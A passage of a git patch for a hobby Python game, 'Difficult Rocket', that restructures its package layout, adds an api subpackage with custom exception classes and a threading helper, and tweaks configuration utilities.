From f315d4f2974c4cad3ec095d51c38448b8554aa92 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=B2=88=E7=91=97=E6=9D=B0?= <3695888@qq.com> Date: Thu, 2 Sep 2021 22:47:10 +0800 Subject: [PATCH] release about v0.5.1 happy lazy --- .gitignore | 11 ++- {bin => DR}/Game_threads/__init__.py | 0 {bin => DR}/Game_threads/orbit_demo.py | 0 {bin => DR}/__init__.py | 8 +- DR/api/Exp.py | 31 ++++++++ DR/api/__init__.py | 14 ++++ {bin => DR/api}/delivery.py | 0 {bin => DR/api}/new_thread.py | 13 ++++ {bin => DR/api}/tools.py | 33 +++++--- DR/api/translate.py | 26 +++++++ {bin => DR}/client.py | 64 ++++++++++------ {bin => DR}/configs.py | 2 +- DR/crash.py | 71 ++++++++++++++++++ {bin => DR}/drag_sprite.py | 1 - {bin => DR}/libs/json5/__init__.py | 0 {bin => DR}/libs/json5/__main__.py | 0 {bin => DR}/libs/json5/arg_parser.py | 0 {bin => DR}/libs/json5/host.py | 0 {bin => DR}/libs/json5/lib.py | 0 {bin => DR}/libs/json5/parser.py | 0 {bin => DR}/libs/json5/tool.py | 0 {bin => DR}/libs/json5/version.py | 0 {bin => DR}/libs/pyglet/__init__.py | 0 {bin => DR}/libs/pyglet/app/__init__.py | 0 {bin => DR}/libs/pyglet/app/base.py | 0 {bin => DR}/libs/pyglet/app/cocoa.py | 0 {bin => DR}/libs/pyglet/app/win32.py | 0 {bin => DR}/libs/pyglet/app/xlib.py | 0 {bin => DR}/libs/pyglet/canvas/__init__.py | 0 {bin => DR}/libs/pyglet/canvas/base.py | 0 {bin => DR}/libs/pyglet/canvas/cocoa.py | 0 {bin => DR}/libs/pyglet/canvas/headless.py | 0 {bin => DR}/libs/pyglet/canvas/win32.py | 0 {bin => DR}/libs/pyglet/canvas/xlib.py | 0 .../libs/pyglet/canvas/xlib_vidmoderestore.py | 0 {bin => DR}/libs/pyglet/clock.py | 0 {bin => DR}/libs/pyglet/com.py | 0 {bin => DR}/libs/pyglet/event.py | 0 {bin => DR}/libs/pyglet/extlibs/__init__.py | 0 {bin => DR}/libs/pyglet/extlibs/png.py | 0 {bin => DR}/libs/pyglet/font/__init__.py | 0 {bin => DR}/libs/pyglet/font/base.py | 0 {bin => DR}/libs/pyglet/font/directwrite.py | 0 {bin => DR}/libs/pyglet/font/fontconfig.py | 0 {bin => DR}/libs/pyglet/font/freetype.py | 0 {bin => DR}/libs/pyglet/font/freetype_lib.py | 0 {bin => DR}/libs/pyglet/font/quartz.py | 0 {bin => DR}/libs/pyglet/font/ttf.py | 0 {bin => DR}/libs/pyglet/font/win32.py | 0 {bin => DR}/libs/pyglet/font/win32query.py | 0 {bin => DR}/libs/pyglet/gl/__init__.py | 0 {bin => DR}/libs/pyglet/gl/agl.py | 0 {bin => DR}/libs/pyglet/gl/base.py | 0 {bin => DR}/libs/pyglet/gl/cocoa.py | 0 {bin => DR}/libs/pyglet/gl/gl.py | 0 {bin => DR}/libs/pyglet/gl/gl_info.py | 0 {bin => DR}/libs/pyglet/gl/glext_arb.py | 0 {bin => DR}/libs/pyglet/gl/glext_nv.py | 0 {bin => DR}/libs/pyglet/gl/glu.py | 0 {bin => DR}/libs/pyglet/gl/glu_info.py | 0 {bin => DR}/libs/pyglet/gl/glx.py | 0 {bin => DR}/libs/pyglet/gl/glx_info.py | 0 {bin => DR}/libs/pyglet/gl/glxext_arb.py | 0 {bin => DR}/libs/pyglet/gl/glxext_mesa.py | 0 {bin => DR}/libs/pyglet/gl/glxext_nv.py | 0 {bin => DR}/libs/pyglet/gl/headless.py | 0 {bin => DR}/libs/pyglet/gl/lib.py | 0 {bin => DR}/libs/pyglet/gl/lib_agl.py | 0 {bin => DR}/libs/pyglet/gl/lib_glx.py | 0 {bin => DR}/libs/pyglet/gl/lib_wgl.py | 0 {bin => DR}/libs/pyglet/gl/wgl.py | 0 {bin => DR}/libs/pyglet/gl/wgl_info.py | 0 {bin => DR}/libs/pyglet/gl/wglext_arb.py | 0 {bin => DR}/libs/pyglet/gl/wglext_nv.py | 0 {bin => DR}/libs/pyglet/gl/win32.py | 0 {bin => DR}/libs/pyglet/gl/xlib.py | 0 {bin => DR}/libs/pyglet/graphics/__init__.py | 0 .../libs/pyglet/graphics/allocation.py | 0 .../libs/pyglet/graphics/vertexattribute.py | 0 .../libs/pyglet/graphics/vertexbuffer.py | 0 .../libs/pyglet/graphics/vertexdomain.py | 0 {bin => DR}/libs/pyglet/gui/__init__.py | 0 {bin => DR}/libs/pyglet/gui/frame.py | 0 {bin => DR}/libs/pyglet/gui/ninepatch.py | 0 {bin => DR}/libs/pyglet/gui/widgets.py | 0 {bin => DR}/libs/pyglet/image/__init__.py | 0 {bin => DR}/libs/pyglet/image/animation.py | 0 {bin => DR}/libs/pyglet/image/atlas.py | 0 .../libs/pyglet/image/codecs/__init__.py | 0 {bin => DR}/libs/pyglet/image/codecs/bmp.py | 0 {bin => DR}/libs/pyglet/image/codecs/dds.py | 0 .../libs/pyglet/image/codecs/gdiplus.py | 0 .../libs/pyglet/image/codecs/gdkpixbuf2.py | 0 {bin => DR}/libs/pyglet/image/codecs/gif.py | 0 {bin => DR}/libs/pyglet/image/codecs/pil.py | 0 {bin => DR}/libs/pyglet/image/codecs/png.py | 0 .../libs/pyglet/image/codecs/quartz.py | 0 {bin => DR}/libs/pyglet/image/codecs/s3tc.py | 0 {bin => DR}/libs/pyglet/image/codecs/wic.py | 0 {bin => DR}/libs/pyglet/info.py | 0 {bin => DR}/libs/pyglet/input/__init__.py | 0 {bin => DR}/libs/pyglet/input/base.py | 0 {bin => DR}/libs/pyglet/input/darwin_hid.py | 0 {bin => DR}/libs/pyglet/input/directinput.py | 0 {bin => DR}/libs/pyglet/input/evdev.py | 0 .../libs/pyglet/input/evdev_constants.py | 0 {bin => DR}/libs/pyglet/input/wintab.py | 0 {bin => DR}/libs/pyglet/input/x11_xinput.py | 0 .../libs/pyglet/input/x11_xinput_tablet.py | 0 {bin => DR}/libs/pyglet/lib.py | 0 {bin => DR}/libs/pyglet/libs/__init__.py | 0 .../libs/pyglet/libs/darwin/__init__.py | 0 .../pyglet/libs/darwin/cocoapy/__init__.py | 0 .../pyglet/libs/darwin/cocoapy/cocoalibs.py | 0 .../pyglet/libs/darwin/cocoapy/cocoatypes.py | 0 .../pyglet/libs/darwin/cocoapy/runtime.py | 0 .../libs/pyglet/libs/darwin/quartzkey.py | 0 {bin => DR}/libs/pyglet/libs/egl/__init__.py | 0 {bin => DR}/libs/pyglet/libs/egl/egl.py | 0 {bin => DR}/libs/pyglet/libs/egl/eglext.py | 0 {bin => DR}/libs/pyglet/libs/egl/lib.py | 0 .../libs/pyglet/libs/win32/__init__.py | 0 .../libs/pyglet/libs/win32/constants.py | 0 {bin => DR}/libs/pyglet/libs/win32/dinput.py | 0 .../libs/pyglet/libs/win32/libwintab.py | 0 {bin => DR}/libs/pyglet/libs/win32/types.py | 0 {bin => DR}/libs/pyglet/libs/win32/winkey.py | 0 {bin => DR}/libs/pyglet/libs/x11/__init__.py | 0 .../libs/pyglet/libs/x11/cursorfont.py | 0 {bin => DR}/libs/pyglet/libs/x11/xf86vmode.py | 0 {bin => DR}/libs/pyglet/libs/x11/xinerama.py | 0 {bin => DR}/libs/pyglet/libs/x11/xinput.py | 0 {bin => DR}/libs/pyglet/libs/x11/xlib.py | 0 {bin => DR}/libs/pyglet/libs/x11/xsync.py | 0 {bin => DR}/libs/pyglet/math.py | 0 {bin => DR}/libs/pyglet/media/__init__.py | 0 .../libs/pyglet/media/buffered_logger.py | 0 .../libs/pyglet/media/codecs/__init__.py | 0 {bin => DR}/libs/pyglet/media/codecs/base.py | 0 .../libs/pyglet/media/codecs/ffmpeg.py | 0 .../media/codecs/ffmpeg_lib/__init__.py | 0 .../media/codecs/ffmpeg_lib/libavcodec.py | 0 .../media/codecs/ffmpeg_lib/libavformat.py | 0 .../media/codecs/ffmpeg_lib/libavutil.py | 0 .../media/codecs/ffmpeg_lib/libswresample.py | 0 .../media/codecs/ffmpeg_lib/libswscale.py | 0 .../libs/pyglet/media/codecs/gstreamer.py | 0 {bin => DR}/libs/pyglet/media/codecs/wave.py | 0 {bin => DR}/libs/pyglet/media/codecs/wmf.py | 0 .../libs/pyglet/media/devices/__init__.py | 0 {bin => DR}/libs/pyglet/media/devices/base.py | 0 .../libs/pyglet/media/devices/win32.py | 0 .../libs/pyglet/media/drivers/__init__.py | 0 {bin => DR}/libs/pyglet/media/drivers/base.py | 0 .../media/drivers/directsound/__init__.py | 0 .../media/drivers/directsound/adaptation.py | 0 .../media/drivers/directsound/exceptions.py | 0 .../media/drivers/directsound/interface.py | 0 .../media/drivers/directsound/lib_dsound.py | 0 .../libs/pyglet/media/drivers/listener.py | 0 .../pyglet/media/drivers/openal/__init__.py | 0 .../pyglet/media/drivers/openal/adaptation.py | 0 .../pyglet/media/drivers/openal/interface.py | 0 .../pyglet/media/drivers/openal/lib_alc.py | 0 .../pyglet/media/drivers/openal/lib_openal.py | 0 .../pyglet/media/drivers/pulse/__init__.py | 0 .../pyglet/media/drivers/pulse/adaptation.py | 0 .../pyglet/media/drivers/pulse/interface.py | 0 .../media/drivers/pulse/lib_pulseaudio.py | 0 .../pyglet/media/drivers/silent/__init__.py | 0 .../pyglet/media/drivers/silent/adaptation.py | 0 .../pyglet/media/drivers/xaudio2/__init__.py | 0 .../media/drivers/xaudio2/adaptation.py | 0 .../pyglet/media/drivers/xaudio2/interface.py | 0 .../media/drivers/xaudio2/lib_xaudio2.py | 0 {bin => DR}/libs/pyglet/media/events.py | 0 {bin => DR}/libs/pyglet/media/exceptions.py | 0 .../libs/pyglet/media/instrumentation.py | 0 {bin => DR}/libs/pyglet/media/player.py | 0 {bin => DR}/libs/pyglet/media/synthesis.py | 0 {bin => DR}/libs/pyglet/model/__init__.py | 0 .../libs/pyglet/model/codecs/__init__.py | 0 {bin => DR}/libs/pyglet/model/codecs/gltf.py | 0 {bin => DR}/libs/pyglet/model/codecs/obj.py | 0 {bin => DR}/libs/pyglet/resource.py | 0 {bin => DR}/libs/pyglet/shapes.py | 0 {bin => DR}/libs/pyglet/sprite.py | 0 {bin => DR}/libs/pyglet/text/__init__.py | 0 {bin => DR}/libs/pyglet/text/caret.py | 0 {bin => DR}/libs/pyglet/text/document.py | 0 .../libs/pyglet/text/formats/__init__.py | 0 .../libs/pyglet/text/formats/attributed.py | 0 {bin => DR}/libs/pyglet/text/formats/html.py | 0 .../libs/pyglet/text/formats/plaintext.py | 0 .../libs/pyglet/text/formats/structured.py | 0 {bin => DR}/libs/pyglet/text/layout.py | 0 {bin => DR}/libs/pyglet/text/runlist.py | 0 {bin => DR}/libs/pyglet/util.py | 0 {bin => DR}/libs/pyglet/window/__init__.py | 0 .../libs/pyglet/window/cocoa/__init__.py | 0 .../pyglet/window/cocoa/pyglet_delegate.py | 0 .../pyglet/window/cocoa/pyglet_textview.py | 0 .../libs/pyglet/window/cocoa/pyglet_view.py | 0 .../libs/pyglet/window/cocoa/pyglet_window.py | 0 .../libs/pyglet/window/cocoa/systemcursor.py | 0 {bin => DR}/libs/pyglet/window/event.py | 0 .../libs/pyglet/window/headless/__init__.py | 0 {bin => DR}/libs/pyglet/window/key.py | 0 {bin => DR}/libs/pyglet/window/mouse.py | 0 .../libs/pyglet/window/win32/__init__.py | 0 .../libs/pyglet/window/xlib/__init__.py | 0 {bin => DR}/main.py | 3 +- {bin => DR}/server.py | 8 +- {bin => DR}/unpack_textures.py | 0 Difficult_Rocket.py | 17 +++-- README.md | 15 ++-- bin/crash.py | 32 -------- configs/main.config | 4 +- configs/sys_value/parts.json5 | 52 +++++-------- configs/textures.json5 | 3 + docs/README-cn.md | 15 ++-- docs/update_logs.md | 21 +++++- tests/_test_import.py | 17 +++++ tests/import_test.py | 18 +++++ .../performance_test}/speed_of_sprite_test.py | 0 .../performance_test}/test_for_speed.py | 0 tests/test.py | 49 +++--------- textures/train.jpg | Bin 0 -> 16627 bytes 228 files changed, 354 insertions(+), 174 deletions(-) rename {bin => DR}/Game_threads/__init__.py (100%) rename {bin => DR}/Game_threads/orbit_demo.py (100%) rename {bin => DR}/__init__.py (71%) create mode 100644 DR/api/Exp.py create mode 100644 DR/api/__init__.py rename {bin => DR/api}/delivery.py (100%) rename {bin => DR/api}/new_thread.py (91%) rename {bin => DR/api}/tools.py (91%) create mode 100644 DR/api/translate.py rename {bin => DR}/client.py (82%) rename {bin => DR}/configs.py (99%) create mode 100644 DR/crash.py rename {bin => DR}/drag_sprite.py (98%) rename {bin => DR}/libs/json5/__init__.py (100%) rename {bin => DR}/libs/json5/__main__.py (100%) rename {bin => DR}/libs/json5/arg_parser.py (100%) rename {bin => DR}/libs/json5/host.py (100%) rename {bin => DR}/libs/json5/lib.py (100%) rename {bin => DR}/libs/json5/parser.py (100%) rename {bin => DR}/libs/json5/tool.py (100%) rename {bin => DR}/libs/json5/version.py (100%) rename {bin => DR}/libs/pyglet/__init__.py (100%) rename {bin => DR}/libs/pyglet/app/__init__.py (100%) rename {bin => DR}/libs/pyglet/app/base.py (100%) rename {bin => DR}/libs/pyglet/app/cocoa.py (100%) rename {bin => DR}/libs/pyglet/app/win32.py (100%) rename {bin => DR}/libs/pyglet/app/xlib.py (100%) rename {bin => DR}/libs/pyglet/canvas/__init__.py (100%) rename {bin => DR}/libs/pyglet/canvas/base.py (100%) rename {bin => DR}/libs/pyglet/canvas/cocoa.py (100%) rename {bin => DR}/libs/pyglet/canvas/headless.py (100%) rename {bin => DR}/libs/pyglet/canvas/win32.py (100%) rename {bin => DR}/libs/pyglet/canvas/xlib.py (100%) rename {bin => DR}/libs/pyglet/canvas/xlib_vidmoderestore.py (100%) rename {bin => DR}/libs/pyglet/clock.py (100%) rename {bin => DR}/libs/pyglet/com.py (100%) rename {bin => DR}/libs/pyglet/event.py (100%) rename {bin => DR}/libs/pyglet/extlibs/__init__.py (100%) rename {bin => DR}/libs/pyglet/extlibs/png.py (100%) rename {bin => DR}/libs/pyglet/font/__init__.py (100%) rename {bin => DR}/libs/pyglet/font/base.py (100%) rename {bin => DR}/libs/pyglet/font/directwrite.py (100%) rename {bin => DR}/libs/pyglet/font/fontconfig.py (100%) rename {bin => DR}/libs/pyglet/font/freetype.py (100%) rename {bin => DR}/libs/pyglet/font/freetype_lib.py (100%) rename {bin => DR}/libs/pyglet/font/quartz.py (100%) rename {bin => DR}/libs/pyglet/font/ttf.py (100%) rename {bin => DR}/libs/pyglet/font/win32.py (100%) rename {bin => DR}/libs/pyglet/font/win32query.py (100%) rename {bin => DR}/libs/pyglet/gl/__init__.py (100%) rename {bin => DR}/libs/pyglet/gl/agl.py (100%) rename {bin => DR}/libs/pyglet/gl/base.py (100%) rename {bin => DR}/libs/pyglet/gl/cocoa.py (100%) rename {bin => DR}/libs/pyglet/gl/gl.py (100%) rename {bin => DR}/libs/pyglet/gl/gl_info.py (100%) rename {bin => DR}/libs/pyglet/gl/glext_arb.py (100%) rename {bin => DR}/libs/pyglet/gl/glext_nv.py (100%) rename {bin => DR}/libs/pyglet/gl/glu.py (100%) rename {bin => DR}/libs/pyglet/gl/glu_info.py (100%) rename {bin => DR}/libs/pyglet/gl/glx.py (100%) rename {bin => DR}/libs/pyglet/gl/glx_info.py (100%) rename {bin => DR}/libs/pyglet/gl/glxext_arb.py (100%) rename {bin => DR}/libs/pyglet/gl/glxext_mesa.py (100%) rename {bin => DR}/libs/pyglet/gl/glxext_nv.py (100%) rename {bin => DR}/libs/pyglet/gl/headless.py (100%) rename {bin => DR}/libs/pyglet/gl/lib.py (100%) rename {bin => DR}/libs/pyglet/gl/lib_agl.py (100%) rename {bin => DR}/libs/pyglet/gl/lib_glx.py (100%) rename {bin => DR}/libs/pyglet/gl/lib_wgl.py (100%) rename {bin => DR}/libs/pyglet/gl/wgl.py (100%) rename {bin => DR}/libs/pyglet/gl/wgl_info.py (100%) rename {bin => DR}/libs/pyglet/gl/wglext_arb.py (100%) rename {bin => DR}/libs/pyglet/gl/wglext_nv.py (100%) rename {bin => DR}/libs/pyglet/gl/win32.py (100%) rename {bin => DR}/libs/pyglet/gl/xlib.py (100%) rename {bin => DR}/libs/pyglet/graphics/__init__.py (100%) rename {bin => DR}/libs/pyglet/graphics/allocation.py (100%) rename {bin => DR}/libs/pyglet/graphics/vertexattribute.py (100%) rename {bin => DR}/libs/pyglet/graphics/vertexbuffer.py (100%) rename {bin => DR}/libs/pyglet/graphics/vertexdomain.py (100%) rename {bin => DR}/libs/pyglet/gui/__init__.py (100%) rename {bin => DR}/libs/pyglet/gui/frame.py (100%) rename {bin => DR}/libs/pyglet/gui/ninepatch.py (100%) rename {bin => DR}/libs/pyglet/gui/widgets.py (100%) rename {bin => DR}/libs/pyglet/image/__init__.py (100%) rename {bin => DR}/libs/pyglet/image/animation.py (100%) rename {bin => DR}/libs/pyglet/image/atlas.py (100%) rename {bin => DR}/libs/pyglet/image/codecs/__init__.py (100%) rename {bin => DR}/libs/pyglet/image/codecs/bmp.py (100%) rename {bin => DR}/libs/pyglet/image/codecs/dds.py (100%) rename {bin => DR}/libs/pyglet/image/codecs/gdiplus.py (100%) rename {bin => DR}/libs/pyglet/image/codecs/gdkpixbuf2.py (100%) rename {bin => DR}/libs/pyglet/image/codecs/gif.py (100%) rename {bin => DR}/libs/pyglet/image/codecs/pil.py (100%) rename {bin => DR}/libs/pyglet/image/codecs/png.py (100%) rename {bin => DR}/libs/pyglet/image/codecs/quartz.py (100%) rename {bin => DR}/libs/pyglet/image/codecs/s3tc.py (100%) rename {bin => DR}/libs/pyglet/image/codecs/wic.py (100%) rename {bin => DR}/libs/pyglet/info.py (100%) rename {bin => DR}/libs/pyglet/input/__init__.py (100%) rename {bin => DR}/libs/pyglet/input/base.py (100%) rename {bin => DR}/libs/pyglet/input/darwin_hid.py (100%) rename {bin => DR}/libs/pyglet/input/directinput.py (100%) rename {bin => DR}/libs/pyglet/input/evdev.py (100%) rename {bin => DR}/libs/pyglet/input/evdev_constants.py (100%) rename {bin => DR}/libs/pyglet/input/wintab.py (100%) rename {bin => DR}/libs/pyglet/input/x11_xinput.py (100%) rename {bin => DR}/libs/pyglet/input/x11_xinput_tablet.py (100%) rename {bin => DR}/libs/pyglet/lib.py (100%) rename {bin => DR}/libs/pyglet/libs/__init__.py (100%) rename {bin => DR}/libs/pyglet/libs/darwin/__init__.py (100%) rename {bin => DR}/libs/pyglet/libs/darwin/cocoapy/__init__.py (100%) rename {bin => DR}/libs/pyglet/libs/darwin/cocoapy/cocoalibs.py (100%) rename {bin => DR}/libs/pyglet/libs/darwin/cocoapy/cocoatypes.py (100%) rename {bin => DR}/libs/pyglet/libs/darwin/cocoapy/runtime.py (100%) rename {bin => DR}/libs/pyglet/libs/darwin/quartzkey.py (100%) rename {bin => DR}/libs/pyglet/libs/egl/__init__.py (100%) rename {bin => DR}/libs/pyglet/libs/egl/egl.py (100%) rename {bin => DR}/libs/pyglet/libs/egl/eglext.py (100%) rename {bin => DR}/libs/pyglet/libs/egl/lib.py (100%) rename {bin => DR}/libs/pyglet/libs/win32/__init__.py (100%) rename {bin => DR}/libs/pyglet/libs/win32/constants.py (100%) rename {bin => DR}/libs/pyglet/libs/win32/dinput.py (100%) rename {bin => DR}/libs/pyglet/libs/win32/libwintab.py (100%) rename {bin => DR}/libs/pyglet/libs/win32/types.py (100%) rename {bin => DR}/libs/pyglet/libs/win32/winkey.py (100%) rename {bin => DR}/libs/pyglet/libs/x11/__init__.py (100%) rename {bin => DR}/libs/pyglet/libs/x11/cursorfont.py (100%) rename {bin => DR}/libs/pyglet/libs/x11/xf86vmode.py (100%) rename {bin => DR}/libs/pyglet/libs/x11/xinerama.py (100%) rename {bin => DR}/libs/pyglet/libs/x11/xinput.py (100%) rename {bin => DR}/libs/pyglet/libs/x11/xlib.py (100%) rename {bin => DR}/libs/pyglet/libs/x11/xsync.py (100%) rename {bin => DR}/libs/pyglet/math.py (100%) rename {bin => DR}/libs/pyglet/media/__init__.py (100%) rename {bin => DR}/libs/pyglet/media/buffered_logger.py (100%) rename {bin => DR}/libs/pyglet/media/codecs/__init__.py (100%) rename {bin => DR}/libs/pyglet/media/codecs/base.py (100%) rename {bin => DR}/libs/pyglet/media/codecs/ffmpeg.py (100%) rename {bin => DR}/libs/pyglet/media/codecs/ffmpeg_lib/__init__.py (100%) rename {bin => DR}/libs/pyglet/media/codecs/ffmpeg_lib/libavcodec.py (100%) rename {bin => DR}/libs/pyglet/media/codecs/ffmpeg_lib/libavformat.py (100%) rename {bin => DR}/libs/pyglet/media/codecs/ffmpeg_lib/libavutil.py (100%) rename {bin => DR}/libs/pyglet/media/codecs/ffmpeg_lib/libswresample.py (100%) rename {bin => DR}/libs/pyglet/media/codecs/ffmpeg_lib/libswscale.py (100%) rename {bin => DR}/libs/pyglet/media/codecs/gstreamer.py (100%) rename {bin => DR}/libs/pyglet/media/codecs/wave.py (100%) rename {bin => DR}/libs/pyglet/media/codecs/wmf.py (100%) rename {bin => DR}/libs/pyglet/media/devices/__init__.py (100%) rename {bin => DR}/libs/pyglet/media/devices/base.py (100%) rename {bin => DR}/libs/pyglet/media/devices/win32.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/__init__.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/base.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/directsound/__init__.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/directsound/adaptation.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/directsound/exceptions.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/directsound/interface.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/directsound/lib_dsound.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/listener.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/openal/__init__.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/openal/adaptation.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/openal/interface.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/openal/lib_alc.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/openal/lib_openal.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/pulse/__init__.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/pulse/adaptation.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/pulse/interface.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/pulse/lib_pulseaudio.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/silent/__init__.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/silent/adaptation.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/xaudio2/__init__.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/xaudio2/adaptation.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/xaudio2/interface.py (100%) rename {bin => DR}/libs/pyglet/media/drivers/xaudio2/lib_xaudio2.py (100%) rename {bin => DR}/libs/pyglet/media/events.py (100%) rename {bin => DR}/libs/pyglet/media/exceptions.py (100%) rename {bin => DR}/libs/pyglet/media/instrumentation.py (100%) rename {bin => DR}/libs/pyglet/media/player.py (100%) rename {bin => DR}/libs/pyglet/media/synthesis.py (100%) rename {bin => DR}/libs/pyglet/model/__init__.py (100%) rename {bin => DR}/libs/pyglet/model/codecs/__init__.py (100%) rename {bin => DR}/libs/pyglet/model/codecs/gltf.py (100%) rename {bin => DR}/libs/pyglet/model/codecs/obj.py (100%) rename {bin => DR}/libs/pyglet/resource.py (100%) rename {bin => DR}/libs/pyglet/shapes.py (100%) rename {bin => DR}/libs/pyglet/sprite.py (100%) rename {bin => DR}/libs/pyglet/text/__init__.py (100%) rename {bin => DR}/libs/pyglet/text/caret.py (100%) rename {bin => DR}/libs/pyglet/text/document.py (100%) rename {bin => DR}/libs/pyglet/text/formats/__init__.py (100%) rename {bin => DR}/libs/pyglet/text/formats/attributed.py (100%) rename {bin => DR}/libs/pyglet/text/formats/html.py (100%) rename {bin => DR}/libs/pyglet/text/formats/plaintext.py (100%) rename {bin => DR}/libs/pyglet/text/formats/structured.py (100%) rename {bin => DR}/libs/pyglet/text/layout.py (100%) rename {bin => DR}/libs/pyglet/text/runlist.py (100%) rename {bin => DR}/libs/pyglet/util.py (100%) rename {bin => DR}/libs/pyglet/window/__init__.py (100%) rename {bin => DR}/libs/pyglet/window/cocoa/__init__.py (100%) rename {bin => DR}/libs/pyglet/window/cocoa/pyglet_delegate.py (100%) rename {bin => DR}/libs/pyglet/window/cocoa/pyglet_textview.py (100%) rename {bin => DR}/libs/pyglet/window/cocoa/pyglet_view.py (100%) rename {bin => DR}/libs/pyglet/window/cocoa/pyglet_window.py (100%) rename {bin => DR}/libs/pyglet/window/cocoa/systemcursor.py (100%) rename {bin => DR}/libs/pyglet/window/event.py (100%) rename {bin => DR}/libs/pyglet/window/headless/__init__.py (100%) rename {bin => DR}/libs/pyglet/window/key.py (100%) rename {bin => DR}/libs/pyglet/window/mouse.py (100%) rename {bin => DR}/libs/pyglet/window/win32/__init__.py (100%) rename {bin => DR}/libs/pyglet/window/xlib/__init__.py (100%) rename {bin => DR}/main.py (99%) rename {bin => DR}/server.py (90%) rename {bin => DR}/unpack_textures.py (100%) delete mode 100644 bin/crash.py create mode 100644 tests/_test_import.py create mode 100644 tests/import_test.py rename {performance_test => tests/performance_test}/speed_of_sprite_test.py (100%) rename {performance_test => tests/performance_test}/test_for_speed.py (100%) create mode 100644 textures/train.jpg diff --git a/.gitignore b/.gitignore index 31de3b7..9c2015c 100644 --- a/.gitignore +++ b/.gitignore @@ -3,15 +3,14 @@ .vs/ DR.code-workspace -# local libs -pyglet/ -pyglet - # PYCharm file .idea/ -# log file -*.log +# log files +logs/ + +# crash report files +crash_report/ # Byte-compiled / optimized / DLL files __pycache__/ diff --git a/bin/Game_threads/__init__.py b/DR/Game_threads/__init__.py similarity index 100% rename from bin/Game_threads/__init__.py rename to DR/Game_threads/__init__.py diff --git a/bin/Game_threads/orbit_demo.py b/DR/Game_threads/orbit_demo.py similarity index 100% rename from bin/Game_threads/orbit_demo.py rename to DR/Game_threads/orbit_demo.py diff --git a/bin/__init__.py b/DR/__init__.py similarity index 71% rename from bin/__init__.py rename to DR/__init__.py index 6baa874..cee52ac 100644 --- a/bin/__init__.py +++ b/DR/__init__.py @@ -1,13 +1,15 @@ """ writen by shenjackyuanjie -mail: 3695888@qq.com +mail: 3695888@qq.com github: @shenjackyuanjie +gitee: @shenjackyuanjie """ -from .new_thread import new_thread -from .tools import config + +from .api import * __all__ = [ 'new_thread', + 'Delivery', 'config' ] diff --git a/DR/api/Exp.py b/DR/api/Exp.py new file mode 100644 index 0000000..0d57f6a --- /dev/null +++ b/DR/api/Exp.py @@ -0,0 +1,31 @@ +""" +writen by shenjackyuanjie +mail: 3695888@qq.com +github: @shenjackyuanjie +gitee: @shenjackyuanjie +""" + + +class Error(Exception): + """基础 Exception""" + pass + + +class TexturesError(Error): + """材质相关error 包含info和textures""" + def __init__(self, info, textures): + self.info = info + self.textures = textures + + def __str__(self): + return '{}{}'.format(self.info, self.textures) + + +class LanguageError(Error): + """lang文件相关error 包含info和language""" + def __init__(self, info, language): + self.info = info + self.lang = language + + def __str__(self): + return '{}{}'.format(self.info, self.lang) diff --git a/DR/api/__init__.py b/DR/api/__init__.py new file mode 100644 index 0000000..1f3df45 --- /dev/null +++ b/DR/api/__init__.py @@ -0,0 +1,14 @@ +""" +writen by shenjackyuanjie +mail: 3695888@qq.com +github: @shenjackyuanjie +gitee: @shenjackyuanjie +""" + +from .new_thread import new_thread +from .delivery import Delivery +from .tools import config + +__all__ = ['new_thread', + 'Delivery', + 'config'] diff --git a/bin/delivery.py b/DR/api/delivery.py similarity index 100% rename from bin/delivery.py rename to DR/api/delivery.py diff --git a/bin/new_thread.py b/DR/api/new_thread.py similarity index 91% rename from bin/new_thread.py rename to DR/api/new_thread.py index 4a762f1..f036ba8 100644 --- a/bin/new_thread.py +++ b/DR/api/new_thread.py @@ -1,6 +1,7 @@ import functools import inspect import threading +import time from typing import Optional, Callable """ @@ -38,3 +39,15 @@ def new_thread(thread_name: Optional[str or Callable] = None): return wrapper(this_is_a_function) # Use @on_new_thread with ending brackets case return wrapper + + +@new_thread() +def a(): + print('ah') + time.sleep(2) + print('done') + + +if __name__ == '__main__': + b = a() + b.join() diff --git a/bin/tools.py b/DR/api/tools.py similarity index 91% rename from bin/tools.py rename to DR/api/tools.py index 91591a8..926bb1f 100644 --- a/bin/tools.py +++ b/DR/api/tools.py @@ -8,24 +8,26 @@ import os import sys import time import math +import xml.dom.minidom + import semver import logging import decimal import traceback import configparser from xml.dom.minidom import parse +from typing import Optional if __name__ == '__main__': # been start will not run this sys.path.append('/bin/libs') sys.path.append('/bin') import json5 +import importlib -import configs - +configs = importlib.import_module('configs') # logger tools_logger = logging.getLogger('part-tools') - """ file configs """ @@ -42,7 +44,7 @@ def report_file_error(filetype: str, error_type, filename: str, stack: any): tools_logger.exception(log) -def config(file_name: str, stack=None): +def config(file_name: str, stack=None) -> dict: f_type = file_name[file_name.rfind('.') + 1:] # 从最后一个.到末尾 (截取文件格式) try: if (f_type == 'json5') or (f_type == 'json'): @@ -152,16 +154,27 @@ def name_handler(name: str, formats: dict = None) -> str: some tools """ +yes = ['true', '1', 1, 1.0, True] +no = ['false', '0', 0, 0.0, False, None] -def format_bool(thing): - yes = ['True', 'TRUE', 'true', '1', 1, True] - no = ['False', 'FALSE', 'false', '0', 0, False] - if thing in yes: + +def format_bool(thing) -> bool: + """ + :param thing 啥都行,只要是能传进来的都可以 + + 如果看起来像"True" 比如 'true','1',1 + 就返回 True + 如果看起来像"False" 比如 'false','0',0 + 就返回 False + 都不像就 